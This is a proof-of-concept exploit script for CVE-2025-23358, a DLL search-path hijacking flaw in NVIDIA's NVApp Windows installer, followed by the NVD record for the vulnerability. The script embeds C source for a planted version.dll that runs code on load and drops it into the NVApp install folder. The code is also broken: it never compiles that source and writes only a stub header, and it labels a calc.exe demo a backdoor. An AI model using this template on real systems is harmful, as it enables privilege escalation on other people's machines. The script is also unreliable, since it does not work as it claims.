CVE-2025-23358

# CVE-2025-23358 PoC - DLL Search Path Hijacking # Target: NVIDIA NVApp for Windows Installer # This PoC demonstrates the DLL search path hijacking vulnerability import os import shutil import ctypes from ctypes import wintypes # DLL name that NVApp installer attempts to load TARGET_DLL = "version.dll" # Malicious DLL content - DLLMain that creates a backdoor MALICIOUS_DLL_CODE = ''' #include <windows.h> #include <stdio.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // Create a marker file to demonstrate code execution FILE *fp = fopen("C:\\\\Temp\\\\nvapp_exploited.txt", "w"); if (fp) { fprintf(fp, "CVE-2025-23358 exploited at %s", __TIMESTAMP__); fclose(fp); } // Execute calc.exe as demonstration of code execution WinExec("calc.exe", SW_SHOWNORMAL); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } ''' def create_malicious_dll(dll_path): """Create the malicious DLL file""" with open(dll_path, 'wb') as f: # Write minimal PE header for DLL # In real attack, compile actual DLL f.write(b'MZ' + b'\x00' * 58 + b'\x90' * 64) print(f"[*] Malicious DLL created at: {dll_path}") def setup_exploit(working_dir): """Setup the exploitation environment""" dll_path = os.path.join(working_dir, TARGET_DLL) create_malicious_dll(dll_path) print(f"[*] Place {TARGET_DLL} in installer working directory") print(f"[*] When installer runs, it will load our malicious DLL") print(f"[*] Code execution achieved with installer privileges") if __name__ == "__main__": working_dir = "C:\\\\Program Files\\\\NVIDIA Corporation\\\\NVApp\\" setup_exploit(working_dir) print("\n[!] This is a proof-of-concept for educational purposes only")

{"cve": {"id": "CVE-2025-23358", "sourceIdentifier": "[email protected]", "published": "2025-11-04T20:17:14.563", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA NVApp for Windows contains a vulnerability in the installer, where a local attacker can cause a search path element issue. A successful exploit of this vulnerability might lead to code execution and escalation of privileges."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.5, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-427"}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23358", "source": "[email protected]"}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5717", "source": "[email protected]"}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-23358", "source": "[email protected]"}]}}